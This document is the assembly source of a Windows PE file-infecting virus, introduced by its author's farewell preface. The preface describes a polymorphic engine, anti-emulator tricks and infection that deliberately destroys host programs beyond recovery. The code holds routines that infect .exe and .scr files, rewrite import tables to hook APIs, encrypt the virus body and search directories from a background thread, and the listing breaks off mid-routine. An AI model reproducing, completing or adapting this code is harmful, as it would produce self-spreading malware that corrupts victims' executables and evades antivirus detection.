This is my biggest PE virus, it's about 3500 lines, the virus binary
size is more than 6K.
Maybe this is my last virus. I've decided to exit from the VXer scene.
It's a pity that there are too many bugs in it. There are two major bugs
in the original version, one is the second threads can dead lock under
some certain condition, the other is I didn't use any SEH in it, so it will
crash when scanning some DOS executables. I've patched the second bugs in
this source code.
This virus' main feature:
1, Simple polymorphism engine. This engine is my first poly engine. It's
very simple, but seems this engine can make some AV software hang the OS.
Some AV s/w's virtual machine can't run it correctly.
2, Unrecoverable infection. After infection, the host PE file structure has
been destroyed and almost impossible to recovery.
3, Full EPO. It doesn't modify the entry point. It uses a new infection
method. It removes the host file's import table and stored the import DLLs
and APIs name in its own buffer. Then it builds a new import table which only
imports LoadLibraryA and GetProcAddress, this two APIs are enough for it to
import all its and the host file's needed APIs. This is how it destroy the
host file. To implement EPO, it hook many APIs which imported by the host
file.
4, Both directly and indirectly infect. As I've said, it hooks many APIs
(about 15 APIs with both ANSI and Unicode version), so it only infects when
the hooked APIs are called. But when the infection is triggered, it will
active the second thread to do a short coninuous infection by searching the
directory.
To learn more about this virus, you can visit Symantec website and read
the write up about virus W32.Cervan.
Bye, the virus world, bye, the Chinese VXer scene.
You can contact me by mail vancheer@hotmail.com
`
.586
.model flat
include kernel32.inc
include user32.inc
include win32.inc
includelib kernel32.lib
includelib user32.lib
DEBUG = 0
if DEBUG
addrGetLastError = 77e8668ch
addrOutputDebugStringA = 77ea0c93h
DEBUGBREAK equ int 3
else
display 'Warning!!! This is release version!!!'
endif
MIN_SIZE_TO_INFECT equ (16*1024)
SECTION_QUERY equ 0001h
SECTION_MAP_WRITE equ 0002h
SECTION_MAP_READ equ 0004h
SECTION_MAP_EXECUTE equ 0008h
SECTION_EXTEND_SIZE equ 0010h
FILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS
PAGE_NOACCESS equ 01h
PAGE_READONLY equ 02h
PAGE_READWRITE equ 04h
PAGE_WRITECOPY equ 08h
PAGE_EXECUTE equ 10h
PAGE_EXECUTE_READ equ 20h
PAGE_EXECUTE_READWRITE equ 40h
PAGE_EXECUTE_WRITECOPY equ 80h
PAGE_GUARD equ 100h
PAGE_NOCACHE equ 200h
PAGE_WRITECOMBINE equ 400h
MEM_COMMIT equ 1000h
MEM_RELEASE equ 8000h
PTADD = 0
PTSUB = 1
PTROR = 2
PTROL = 3
PTXOR = 4
PTBSWAP = 5
PTNONE = 38h
PTNUM = 6
PolyUnit struc
PUType db ?
PUKey dd ?
db 3 dup(?) ;for align
PolyUnit ends
PolyVar struc
PVReg db 8 dup(?)
PolyVar ends
FileMapper struct
FMBuffer dd ?
FMFileName dd ?
FMFileHandle dd ?
FMMapHandle dd ?
FMFileSize dd ?
FMFileAttr dd ?
FMFileTime dd 2*3 dup(?)
FMPEBase dd ?
FMCurPtr dd ?
FMImportAPINum dd ?
FMImportPA dd ?
FMImportThunkPA dd ?
FMImportStringPA dd ?
FMDataStartPA equ FMImportStringPA
FMVirImportPA dd ?
FMVirStartPA dd ?
FMVirEntryPA dd ?
FMPolyPA dd ?
FMDataSize dd ? ;the size of can encrypt data
FMLoadLibraryAPA dd ?
FMGetProcAddressPA dd ?
FMPolyUnit PolyUnit 32 dup(<>)
FMPolyVar PolyVar <>
FileMapper ends
IMPORT_IS_ORD = 1
IMPORT_IS_NAME = 2
VIR_IMPORT_SIZE = 95
DEFUNICODE macro sym,str
&sym:
irpc c,str
dw '&c'
endm
dw 0
endm
.data
cap db 'Caption',0
msg db 'Message',0
fn db 'tfuck.exe',0
TmpBuffer db 3 dup(0)
TmpPolyVar db 8 dup(0)
TmpPolyUnit PolyUnit 500 dup(<>)
wildfn db 'd:/asm/mv/*.*',0
DEFUNICODE fnW,
DEFUNICODE wildfnW,
strKernel32 db 'kernel32.dll',0
strLoadLibraryA db 'LoadLibraryA',0
strGetProcAddress db 'GetProcAddress',0
.code
VirStart:
cld
call ImportBuildIP
ImportBuildIP:
pop edx
cld
call GetVirAPIAddress
lea esi,[edx+VirStart-ImportBuildIP]
mov edi,VirVirtualSize
call VirAlloc
mov ecx,VirSize
xchg eax,edi
lea edx,[edi+ImportBuildIP-VirStart]
rep movsb
mov eax,edx
add eax,VirContinue-ImportBuildIP
jmp eax
VirContinue:
;Initialize some variant
xor ecx,ecx
mov [edx+CanSearchTick-ImportBuildIP],ecx
pushad
mov esi,edx
push ecx
push ecx
push ecx
push ecx
call [esi+addrCreateEventA-ImportBuildIP]
mov [esi+VirEventHandle-ImportBuildIP],eax
xor ecx,ecx
push eax
push esp
push ecx
push ecx
lea eax,[esi+SearchThread-ImportBuildIP]
push eax
push ecx
push ecx
call [esi+addrCreateThread-ImportBuildIP]
pop eax
popad
mov esi,12345678h ;Redirected import table offset
RVAImportString equ $-4
;Decrypt import string
push esi
mov edi,esi
mov ecx,12345678h
DecryptImportCount equ $-4
DecryptImportLoop:
lodsb
xor al,0
DecryptImportXorKey equ $-1
ror al,0
DecryptImportRorKey equ $-1
stosb
loop DecryptImportLoop
DecryptImportEnd:
pop esi
mov eax,[esp+9*4] ;API ordinal
push eax
push large ecx ;API count=0
mov ebp,esp
mov edi,87654321 ;Import table address
RVAImportPA equ $-4
lea ebx,[edx+ImportBuildCallback-ImportBuildIP]
sub edi,4
ImportBuildLoop:
add edi,4
push edi
mov edi,[edi]
call VirGetAddress
pop edi
cmp byte ptr [esi],0
jnz short ImportBuildLoop
pop eax
pop eax
mov [esp+9*4],eax
popfd
popad
retn
ImportBuild_end:
ImportBuildCallback:
push ecx
push edi
pushfd
or eax,eax
jz short ImportBuildCallbackNotHook
call ImportBuildCallbackIP
ImportBuildCallbackIP:
pop edx
std
lea edi,[edx+HookAPITable+HookNum*4-4-ImportBuildCallbackIP]
push large HookNum
pop ecx
repnz scasd
jnz short ImportBuildCallbackNotHook
lea edi,[edx+ecx*2+HookProcTable-ImportBuildCallbackIP]
movzx eax,word ptr [edi]
lea edi,[edx+VirStart-ImportBuildCallbackIP]
add eax,edi
ImportBuildCallbackNotHook:
mov edx,[ebp]
cmp edx,[ebp+4]
jnz short ImportBuildCallback1
mov [ebp+4],eax
ImportBuildCallback1:
inc dword ptr [ebp]
popfd
pop edi
pop ecx
retn
ImportBuildCallback_end:
;Get the API address used by vir
;Param: edx=>ImportBuildIP
GetVirAPIAddress:
pushad
xor ebx,ebx
lea esi,[edx+Kernel32APIName-ImportBuildIP]
lea edi,[edx+Kernel32APIAddr-ImportBuildIP]
call VirGetAddress
lea esi,[edx+Shell32APIName-ImportBuildIP]
lea edi,[edx+Shell32APIAddr-ImportBuildIP]
call VirGetAddress
lea esi,[edx+SfcAPIName-ImportBuildIP]
lea edi,[edx+SfcAPIAddr-ImportBuildIP]
call VirGetAddress
lea esi,[edx+ComDlg32APIName-ImportBuildIP]
lea edi,[edx+ComDlg32APIAddr-ImportBuildIP]
call VirGetAddress
lea esi,[edx+User32APIName-ImportBuildIP]
lea edi,[edx+User32APIAddr-ImportBuildIP]
call VirGetAddress
popad
retn
GetVirAPIAddress_end:
;Redirected import table
;db kernel32.dll
;db 1,db CreateFileA
;db 2 dw hint
;db WriteFile
;db 0
;db user32.dll
;........
;db 0
;db 0
;Load DLL and get all api address
;Param: esi->DLL name,edi->address,ebx->call back function,ebp=param for the callback
;Return: esi->after null byte
;Callback param: eax=API address,ebp=user defined param,edi->address API to store to
;Callback return: eax=API address to store
VirGetAddress:
push edx
mov edx,12345678h ;RVA of LoadLibraryA
RVALoadLibraryA equ $-4
mov eax,esi
call VirGetStrTail
xchg eax,esi
push dword ptr [eax]
push eax
mov byte ptr [eax],0
push esi
call [edx]
mov ecx,eax
pop eax
pop dword ptr [eax]
xchg esi,eax
VirGetAddressLoop:
lodsb
or al,al
jz short VirGetAddressRet
push ebp
push ecx
cmp al,IMPORT_IS_NAME
jz short VirGetAddressIsName
xor eax,eax
lodsw
mov ebp,[esi]
push esi
push eax
jmp short VirGetAddress1
VirGetAddressIsName:
push esi
call VirGetStrTail
mov ebp,[esi]
mov byte ptr [esi],0
xchg esi,[esp]
push esi
VirGetAddress1:
push ecx
mov edx,55667788h; RVA of GetProcAddress
RVAGetProcAddress equ $-4
call [edx]
pop esi
mov [esi],ebp
pop ecx
pop ebp
or ebx,ebx
jz short VirGetAddressNoCallback
call ebx
VirGetAddressNoCallback:
stosd
jmp short VirGetAddressLoop
VirGetAddressRet:
pop edx
retn
VirGetAddress_end:
;Find the first byte which is less than 6
;Param: esi->string
;Return: esi->strange byte
VirGetStrTail:
dec esi
VirGetStrTailLoop:
inc esi
cmp byte ptr [esi],5
ja short VirGetStrTailLoop
retn
VirGetStrTail_end:
;Infect a file
;Param: edi->FileName
InfectFile:
pushad
call InfectFileIP
InfectFileIP:
pop ebp
cld
or edi,edi
jz InfectFileRet
mov esi,edi
call VirGetStrTail
if DEBUG
mov eax,[esi-8]
call EAXToLowcase
cmp eax,'kcuf' ;if debuging,only infect *fuck.exe
jnz InfectFileRet
endif
mov eax,[esi-4]
call EAXToLowcase
cmp eax,'exe.'
jz short InfectFileStart
cmp eax,'rcs.'
jnz InfectFileRet
InfectFileStart:
call IsInDllCache
jnz InfectFileRet
;Check for SFC
mov ecx,[ebp+addrSfcIsFileProtected-InfectFileIP]
jecxz CheckSFCEnd ;is not Win2K,don't check SFC
mov esi,1000
sub esp,esi
mov eax,esp
push ecx
push large 500
push eax
push large -1
push edi
push large 1 ;MB_PRECOMPOSED
push large 0 ;CP_ACP
call [ebp+addrMultiByteToWideChar-InfectFileIP]
pop ecx
push esp
push large 0
call ecx
add esp,esi
or eax,eax
jnz InfectFileRet
CheckSFCEnd:
sub esp,size FileMapper
mov esi,esp
call MapFile
jz InfectFileFailMap
push esi
push ebp
lea ecx,[ebp+InfectFileSEH-InfectFileIP]
push ecx
xor ecx,ecx
push dword ptr fs:[ecx]
mov fs:[ecx],esp
mov [ebp+InfectFileESP-InfectFileIP],esp
cmp [esi].FMFileSize,16*1024 ;only infect files size bigger than 16K
jc InfectFileUnmap
mov ebx,eax
call CheckPE
jz InfectFileUnmap
mov [esi].FMPEBase,eax
;Check whether it's a WinZip Self-Extractor file
movzx edx,word ptr [eax+14h]
mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData
add edx,ebx
cmp dword ptr [edx+10h],'ZniW'
jnz NotWinzip
cmp word ptr [edx+10h+4],'pi'
jz InfectFileUnmap
NotWinzip:
;Check whether the file is a SFX(RAR file)
xor edi,edi
call get_section_of_rva
mov ecx,[edx+0ch]
add ecx,[edx+8]
mov edx,ecx
shr ecx,3
add ecx,edx
cmp ecx,[esi].FMFileSize
jna InfectFileUnmap
add edx,ebx ;now ecx->perhaps rar file header
cmp dword ptr [edx],21726152h ;test for rar signature
jz InfectFileUnmap
mov edi,[eax+80h] ;Import Table RVA
call get_section_of_rva
jz InfectFileUnmap ;No import table
or byte ptr [edx+1ch+3],80h ;modify raw import section as writable
call RVAToPA
add edi,ebx
;Check infected.If there is only one DLL loaded,it's infected.
cmp dword ptr [edi+3*4],0
jz InfectFileUnmap ;has no import table
cmp dword ptr [edi+3*4+5*4],0 ;next dll name
jz InfectFileUnmap ;hasn't second dll,maybe infected
add ebx,[esi].FMFileSize
mov [esi].FMCurPtr,ebx
push edi
push eax
lea edi,[eax+0d0h]
lea ecx,[eax+0a0h]
xor eax,eax
stosd ;Clear import bind entry
stosd
stosd ;Clear Import Address Table entry
stosd
xchg ecx,edi
stosd ;Clear relocation
stosd
pop eax
pop edi
call RedirectImpoartTable
mov ebx,[esi].FMCurPtr
call BuildVirImportTable
mov ebx,[esi].FMCurPtr
mov edi,ebx
call PolyGenGarbageBuffer ;insert some garbage code
push eax
mov [esi].FMVirEntryPA,edi
mov ax,9c60h ;pushad/pushfd
stosw
add edi,10 ; space for two mov reg32,imm32,must be 10 bytes
pop eax
mov [esi].FMPolyPA,edi
push ebp
push esi
push eax
call VirGetRand
xchg eax,edx
and dl,1
add dl,6 ;use esi or edi as pointer reg
and dh,3 ;use common reg as counter
lea ebp,[esi].FMPolyVar
lea esi,[esi].FMPolyUnit
call VirPoly
pop eax
pop esi
pop ebp
mov [esi].FMVirStartPA,edi
push esi
lea esi,[ebp+VirStart-InfectFileIP]
mov ecx,VirSize
rep movsb
pop esi
call PolyGenGarbageBuffer ;insert some garbage code
mov [esi].FMCurPtr,edi
;Initialize some variant
pushad
mov ecx,[esi].FMVirStartPA
mov edi,[esi].FMLoadLibraryAPA
call RealPAToRVA
mov [ecx+RVALoadLibraryA-VirStart],edi
mov edi,[esi].FMGetProcAddressPA
call RealPAToRVA
mov [ecx+RVAGetProcAddress-VirStart],edi
mov edi,[esi].FMImportPA
call RealPAToRVA
mov [ecx+RVAImportPA-VirStart],edi
mov edi,[esi].FMImportStringPA
push edi
call RealPAToRVA
mov [ecx+RVAImportString-VirStart],edi
pop edi
;Encrypt import string
pushad
mov edx,[esi].FMDataSize
mov [ecx+DecryptImportCount-VirStart],edx
call VirGetRand
mov [ecx+DecryptImportRorKey-VirStart],al
mov [ecx+DecryptImportXorKey-VirStart],ah
mov cl,al
mov esi,edi
EncryptImportLoop:
lodsb
rol al,cl
xor al,ah
stosb
dec edx
jnz short EncryptImportLoop
popad
mov edi,ecx
call RealPAToRVA
mov ecx,[esi].FMVirEntryPA
mov al,0b8h
or al,dl
mov [ecx+2],al
mov [ecx+3],edi
;Encrypt virus body
mov ebx,ecx
mov edi,[esi].FMVirStartPA
lea esi,[esi].FMPolyUnit
mov ecx,VirSize
call VirEncrypt
mov al,0b8h
or al,dh
mov [ebx+7],al
mov [ebx+8],ecx
popad
call FillThunkCode
;Save vir import entry
mov edi,[esi].FMVirImportPA
sub edi,[esi].FMBuffer
call PAToRVA
mov [eax+80h],edi
push large VIR_IMPORT_SIZE
pop dword ptr [eax+84h]
;Enlarge the file
xor edi,edi
call get_section_of_rva
mov ecx,[esi].FMCurPtr
sub ecx,[esi].FMBuffer
sub ecx,[edx+0ch]
call RouncECX
cmp ecx,[edx]
jc short InfectFileRound1
mov [edx],ecx
InfectFileRound1:
cmp ecx,[edx+8]
jc short InfectFileRound2
mov [edx+8],ecx
InfectFileRound2:
mov ecx,[edx+0ch]
add ecx,[edx+8]
mov [esi].FMFileSize,ecx
push ecx
mov ecx,[edx]
add ecx,[edx+4]
call RouncECX
mov [eax+50h],ecx ;SizeOfImage
or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h
;Calc eheck sum
pop ecx
lea ebx,[eax+58h] ;CheckSum
xor edx,edx
cmp dword ptr [ebx],edx
jz short NoChecksum
mov dword ptr [ebx],edx
mov esi,[esi].FMBuffer
push ecx
shr ecx,1
clc
ChecksumLoop:
lodsw
adc dx,ax
loop ChecksumLoop
pop ecx
add edx,ecx
mov [ebx],edx
NoChecksum:
InfectFileUnmap:
mov esp,12345678h
InfectFileESP equ $-4
xor ecx,ecx
pop dword ptr fs:[ecx] ; restore except chain
pop ecx
pop ecx
pop esi
call UnmapFile
InfectFileFailMap:
add esp,size FileMapper
InfectFileRet:
popad
retn
InfectFile_end:
InfectFileSEH:
call InfectFileSEHIP
InfectFileSEHIP:
pop eax
lea eax,[eax+InfectFileUnmap-InfectFileSEHIP]
push eax
mov eax,[esp + 0ch+4]
pop dword ptr [eax + 0B8h]
xor eax,eax
retn
InfectFileSEH_end:
RealPAToRVA:
sub edi,[esi].FMBuffer
call PAToRVA
add edi,[eax+34h] ;ImageBase
retn
RealPAToRVA_end:
;Round ecx to 1000h
RouncECX:
test cx,0fffh
jz short RouncECX1
and cx,0f000h
add ecx,1000h
RouncECX1:
retn
RouncECX_end:
;Fill the raw import table to our entry
;Param: eax->PE base,esi->FilaMapper
FillThunkCode:
pushad
mov ecx,[esi].FMImportAPINum
mov edi,[esi].FMVirEntryPA
sub edi,[esi].FMBuffer
call PAToRVA
mov edx,edi
mov edi,[esi].FMImportThunkPA
mov ebx,edi
sub edi,[esi].FMBuffer
call PAToRVA
sub edx,edi
FillThunkCodeLoop:
sub edx,1+4+1+4
mov byte ptr [ebx+1+4],0e9h
mov [ebx+1+4+1],edx
add ebx,1+4+1+4
loop FillThunkCodeLoop
popad
retn
FillThunkCode_end:
;Param: esi->FileMapper,eax->PE base,DF=0
BuildVirImportTable:
pushad
call BuildVirImportTableIP
BuildVirImportTableIP:
pop ebp
xor edi,edi
call get_section_of_rva
mov ecx,edx
mov edi,[eax+28h]
call get_section_of_rva
push eax
cmp edx,ecx
jnc BuildVirImportTableNoCavPop ;is the last section
lea eax,[edx+8]
mov ebx,[eax]
cmp ebx,[edx]
jc short BuildVirImportTableFindCav2
mov ebx,[edx]
mov eax,edx
BuildVirImportTableFindCav2:
or ebx,ebx
jz BuildVirImportTableNoCavPop ;the minor size is zero,don't use it
mov edi,[edx+28h+0ch] ;next section's PointerToRawData
add ebx,[edx+0ch]
sub edi,ebx
cmp edi,VIR_IMPORT_SIZE+10
jle short BuildVirImportTableNoCavPop
mov edi,ebx
add edi,[esi].FMBuffer
add dword ptr [eax],VIR_IMPORT_SIZE+10 ;enlarge raw data size
or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h
and dword ptr [edx+1ch],not 02020000 ;remove discardable Characteristics
jmp short BuildVirImportTableBeginBuild
BuildVirImportTableNoCavPop:
mov edi,[esi].FMCurPtr
BuildVirImportTableBeginBuild:
pop eax
mov [esi].FMVirImportPA,edi
push eax
xor eax,eax
push large 5*2+3
pop ecx
rep stosd
pop eax
push edi
push esi
push large VirImportTableStringSize
pop ecx
lea esi,[ebp+VirImportTable-BuildVirImportTableIP]
rep movsb
pop esi
cmp edi,[esi].FMCurPtr
jb short BuildVirImportTableInner
mov [esi].FMCurPtr,edi
BuildVirImportTableInner:
pop edi
lea edx,[edi-3*4-5*4-2*4] ;->DLL name RVA
sub edi,[esi].FMBuffer
call PAToRVA
mov [edx],edi
sub edi,3*4
mov [edx+4],edi
add edx,5*4+2*4
add edi,3*4+12
mov [edx],edi
mov [esi].FMLoadLibraryAPA,edx
add edi,14
add edx,4
mov [edx],edi
mov [esi].FMGetProcAddressPA,edx
popad
retn
BuildVirImportTable_end:
comment $
Redirect Import Table format
db 'kernel32.dll'
db IMPORT_IS_NAME,'CreateFileA'
db IMPORT_IS_ORD,1,2
db IMP...
db 0
next dll
db 0
Import Thunk Code format
push large ordinal
jmp vircode
$
;Param: edi->Raw import table,esi->FileMapper,eax->PE base,DF=0
RedirectImpoartTable:
pushad
mov ebx,[esi].FMCurPtr
mov [esi].FMImportStringPA,ebx
push edi
push eax
mov edx,edi
sub edx,5*4
RedirectImpoartTableLoop:
add edx,5*4
mov edi,[edx+4*3] ;edi->DLL name RVA
or edi,edi
jz short RedirectImpoartTableThunk
mov eax,[esi].FMPEBase
call RVAToPA
mov ecx,[esi].FMBuffer
add edi,ecx
push eax
;Copy DLL name
RedirectImpoartTable1:
mov al,[edi]
mov [ebx],al
mov byte ptr [edi],0 ;trash the DLL name
inc edi
inc ebx
or al,al
jnz short RedirectImpoartTable1
dec ebx ;no tail null byte
;Some APPs' FirstThunk not point to vaild address
;so we must use Characteristics at first
mov edi,[edx] ;edi->DLL Characteristics
or edi,edi
jnz short RedirectImpoartTableUseDLLChar
mov edi,[edx+4*4] ;edi->FirstThunk RVA
RedirectImpoartTableUseDLLChar:
pop eax
call RVAToPA
add edi,ecx
sub edi,4
RedirectImpoartTableAPILoop:
add edi,4
mov ecx,[edi]
mov byte ptr [ebx],0
inc ebx
jecxz RedirectImpoartTableLoop
dec ebx
test ecx,80000000h
jnz short RedirectImpoartTableIsOrd
xchg ecx,edi
call RVAToPA
xchg ecx,edi
add ecx,[esi].FMBuffer
inc ecx
inc ecx ;Skip ordinal
mov byte ptr [ebx],IMPORT_IS_NAME
inc ebx
;Copy API name
RedirectImpoartTable2:
push eax
mov al,[ecx]
mov [ebx],al
mov byte ptr [ecx],0 ;trash API name
inc ebx
inc ecx
or al,al
pop eax
jnz short RedirectImpoartTable2
dec ebx ;no tail null byte
jmp short RedirectImpoartTableAPILoop
RedirectImpoartTableIsOrd:
mov byte ptr [ebx],IMPORT_IS_ORD
inc ebx
mov word ptr [ebx],cx
inc ebx
inc ebx
jmp short RedirectImpoartTableAPILoop
;Generate thunk code
RedirectImpoartTableThunk:
mov eax,ebx
sub eax,[esi].FMImportStringPA
mov [esi].FMDataSize,eax
mov byte ptr [ebx],0 ;import table tail null byte
inc ebx
mov dword ptr [esi].FMImportAPINum,0
pop eax ;PE base
pop edx ;Import table
mov [esi].FMImportThunkPA,ebx
push edx
push eax
sub edx,4*5
RedirectImpoartTableThunkLoop:
add edx,4*5
cmp dword ptr [edx+3*4],0
jz short RedirectImpoartTableTrash
mov edi,[edx+4*4]
call RVAToPA
add edi,[esi].FMBuffer
sub edi,4
RedirectImpoartTableThunkAPILoop:
add edi,4
mov ecx,edi
cmp dword ptr [ecx],0
jz short RedirectImpoartTableThunkLoop
push edi
mov edi,ebx
sub edi,[esi].FMBuffer
call PAToRVA
add edi,[eax+34h] ;ImageBase
mov [ecx],edi ;Redirect import address to our thunk code
pop edi
mov byte ptr [ebx],68h ;push imm32
inc ebx
push dword ptr [esi].FMImportAPINum
pop dword ptr [ebx]
inc dword ptr [esi].FMImportAPINum
add ebx,4+1+4
jmp short RedirectImpoartTableThunkAPILoop
;Trash import table structure,build the DLL APIs table
RedirectImpoartTableTrash:
pop edx
pop edi
mov [esi].FMImportPA,ebx
xor eax,eax
RedirectImpoartTableTrashLoop:
mov [ebx],eax
cmp dword ptr [edi+3*4],0
jz short RedirectImpoartTableRet
mov ecx,[edi+4*4]
add ecx,[edx+34h] ;ImageBase
mov [ebx],ecx
push large 5
pop ecx
rep stosd ;trash import table structure
add ebx,4
jmp short RedirectImpoartTableTrashLoop
RedirectImpoartTableRet:
mov [esi].FMCurPtr,ebx
popad
retn
RedirectImpoartTable_end:
;Param: edi=size in byte to alloc
;Return: eax->Buffer
VirAlloc:
pushad
call VirAllocIP
VirAllocIP:
pop ebp
push large PAGE_EXECUTE_READWRITE
push large MEM_COMMIT
push edi
push large 0
call [ebp+addrVirtualAlloc-VirAllocIP]
call SetMemZero
mov [esp+7*4],eax
popad
retn
VirAlloc_end:
;Param: eax->Buffer,edi=size in byte to alloc,DF=0
SetMemZero:
pushad
mov ecx,edi
mov edi,eax
xor eax,eax
rep stosb
popad
retn
SetMemZero_end:
;Parem: ebx->image base
;Return: ZF not set,is valid PE,ZF set,invalid,eax->PE base
CheckPE:
push ecx
xor ecx,ecx
cmp word ptr [ebx],'ZM'
jnz short CheckPERet
mov eax,[ebx+3ch]
cmp eax,4*1024
ja short CheckPERet
add eax,ebx
cmp word ptr [eax],'EP'
jnz short CheckPERet
test byte ptr [eax+16h+1],20h ;Is a DLL?
jnz short CheckPERet
mov dl,[eax+5ch] ;Subsystem
and dl,0feh
cmp dl,2
jnz short CheckPERet
inc ecx
CheckPERet:
or ecx,ecx
pop ecx
retn
CheckPE_end:
;Get the section of a RVA
;in--eax=PE base,edi=RVA to find
;out--edx->section header.VirtualSize,ecx=0 means not found
;if not found,edx=>last section header.VirtualSize
get_section_of_rva:
push esi
push ecx
movzx edx,word ptr [eax+14h]
lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize
movzx ecx,word ptr [eax+6]
inc ecx
get_section_of_rva_1:
dec ecx
jecxz get_section_of_rva_2
add edx,28h ;->VirtualSize
mov esi,[edx+4]; esi=VirtualAddress
cmp edi,esi ;RVAbefore first section header.VirtualSize
movzx ecx,word ptr [eax+6]
inc ecx
PAToRVA_1:
dec ecx
jecxz PAToRVA_2
add edx,28h
cmp edi,[edx+28h+0ch];next section PointerToRawData
jnb short PAToRVA_1
PAToRVA_2:
sub edi,[edx+0ch]
add edi,[edx+4]
pop edx
pop ecx
retn
PAToRVA_end:
;Create a file mapping
;Param: esi->FileMapper edi->FileName
MapFile:
push ebp
push ebx
call MapFileIP
MapFileIP:
pop ebp
push large (size FileMapper) - 1
pop ecx
xor eax,eax
MapFileInit:
mov byte ptr [esi+ecx],al
loop MapFileInit
mov dword ptr [esi],eax
mov [esi].FMFileName,edi
push edi
call [ebp+addrGetFileAttributesA-MapFileIP]
mov [esi].FMFileAttr,eax
and eax,not FILE_ATTRIBUTE_READONLY
push eax
push edi
call [ebp+addrSetFileAttributesA-MapFileIP]
push large 0
push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN
push large OPEN_EXISTING
push large 0
push large FILE_SHARE_READ
push large GENERIC_WRITE or GENERIC_READ
push edi
call [ebp+addrCreateFileA-MapFileIP]
inc eax
jz short MapFileRet
mov [esi].FMFileHandle,eax
dec eax
lea ebx,[esi].FMFileTime
push ebx ;ebx->file last write time
add ebx,8
push ebx
add ebx,8
push ebx
push eax
call [ebp+addrGetFileTime-MapFileIP]
push ecx
push esp ;->file size high
push [esi].FMFileHandle
call [ebp+addrGetFileSize-MapFileIP]
pop ecx
inc eax
jz MapFileRet
dec eax
or ecx,ecx
jnz MapFileRet
mov [esi].FMFileSize,eax
xchg eax,ebx
add ebx,256*1024 ; 256K buffer
xor edx,edx
push edx
push ebx
push edx
push large PAGE_READWRITE
push edx
push [esi].FMFileHandle
call [ebp+addrCreateFileMappingA-MapFileIP]
or eax,eax
jz MapFileRet
mov [esi].FMMapHandle,eax
push ebx
push large 0
push large 0
push large FILE_MAP_WRITE
push eax
call [ebp+addrMapViewOfFile-MapFileIP]
mov [esi].FMBuffer,eax
MapFileRet:
pop ebx
pop ebp
mov eax,[esi].FMBuffer
or eax,eax
ret
MapFile_end:
;Unmap a file mapping
;Param: esi->FileMapper
UnmapFile:
pushad
call UnmapFileIP
UnmapFileIP:
pop ebp
push [esi].FMBuffer
call [ebp+addrUnmapViewOfFile-UnmapFileIP]
push [esi].FMMapHandle
call [ebp+addrCloseHandle-UnmapFileIP]
push large 0
push large 0
push [esi].FMFileSize
push [esi].FMFileHandle
call [ebp+addrSetFilePointer-UnmapFileIP]
mov edi,[esi].FMFileHandle
push edi
call [ebp+addrSetEndOfFile-UnmapFileIP]
lea ebx,[esi].FMFileTime
push ebx
add ebx,8
push ebx
add ebx,8
push ebx
push edi
call [ebp+addrSetFileTime-UnmapFileIP]
push edi
call [ebp+addrCloseHandle-UnmapFileIP]
push [esi].FMFileAttr
push [esi].FMFileName
call [ebp+addrSetFileAttributesA-UnmapFileIP]
popad
retn
UnmapFile_end:
EAXToLowcase:
push ecx
push large 4
pop ecx
EAXToLowcase_0:
cmp al,'A'
jc EAXToLowcase_1
cmp al,'Z'
ja EAXToLowcase_1
add al,'a'-'A'
EAXToLowcase_1:
ror eax,8
loop EAXToLowcase_0
pop ecx
retn
EAXToLowcase_end:
;Check whether the path include 'tem32/dllcach'('system32/dllcache')
;Param: edi->full path file name,esi->tail of file name
;Return: ZF=0 means is,ZF=1 means not
IsInDllCache:
pushad
xor ebx,ebx
xchg esi,edi
IsInDllCacheLoop:
push esi
lodsd
call EAXToLowcase
cmp eax,'3met'
jnz short IsInDllCacheNext
lodsd
call EAXToLowcase
cmp eax,'ld/2'
jnz short IsInDllCacheNext
lodsd
call EAXToLowcase
cmp eax,'cacl'
jnz short IsInDllCacheNext
inc ebx
jmp short IsInDllCacheRet
IsInDllCacheNext:
pop esi
inc esi
lea eax,[esi+10]
cmp eax,edi
jc short IsInDllCacheLoop
push esi
IsInDllCacheRet:
pop esi
or ebx,ebx
popad
retn
IsInDllCache_end:
db 'Win32 Loicer by Vancheer/CVC,made in China,2002'
;Param: esi->PolyUnit,edi->buffer to encrypt,ecx=buffer size
;Return: ecx=rounded size
VirEncrypt:
call VirGetEncryptSize
pushad
mov ebp,esi
;We must reverse the decrypt order generated by the poly engine
VirEncryptReverseLoop:
cmp [esi].PUType,PTNONE
jz short VirEncryptBegin
add esi,size PolyUnit
jmp short VirEncryptReverseLoop
VirEncryptBegin:
VirEncryptDataLoop:
mov ebx,[edi+ecx]
push esi
VirEncryptTypeLoop:
sub esi,size PolyUnit
mov al,[esi].PUType
mov edx,[esi].PUKey
cmp al,PTXOR
jnz short VirEncrypt_1
xor ebx,edx
jmp short VirEncryptNextType
VirEncrypt_1:
cmp al,PTADD
jnz short VirEncrypt_2
sub ebx,edx
jmp short VirEncryptNextType
VirEncrypt_2:
cmp al,PTSUB
jnz short VirEncrypt_3
add ebx,edx
jmp short VirEncryptNextType
VirEncrypt_3:
cmp al,PTROR
jnz short VirEncrypt_4
push ecx
mov cl,dl
rol ebx,cl
pop ecx
jmp short VirEncryptNextType
VirEncrypt_4:
cmp al,PTROL
jnz short VirEncrypt_5
push ecx
mov cl,dl
ror ebx,cl
pop ecx
jmp short VirEncryptNextType
VirEncrypt_5:
bswap ebx
VirEncryptNextType:
cmp esi,ebp
jnz short VirEncryptTypeLoop
VirEncryptNextData:
pop esi
mov [edi+ecx],ebx
sub ecx,4
jge VirEncryptDataLoop
popad
retn
VirEncrypt_end:
;Param: ecx=buffer size
;Return: ecx=rounded buffer size
VirGetEncryptSize:
and cl,0fch ;round to 4
sub ecx,4
retn
VirGetEncryptSize_end:
;Param: esi->PolyUnit,edi->poly output buffer,ebp->PolyVar
; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
VirPoly:
pushad
call VirGetRand
movzx ecx,al
and cl,0fh
add cl,08h ;15-23 layers poly
push ecx
mov al,PTNONE
VirPolyLoop:
call PolyInitVar ;don't generate code before PolyInitVar
call PolyGenGarbage
push eax
call VirPolyHelp ;mov a dword to a random reg
pop eax
push ecx
push edx ;save two reg
push eax
call VirGetRand
mov [esi].PUKey,eax
xchg edx,eax
pop eax
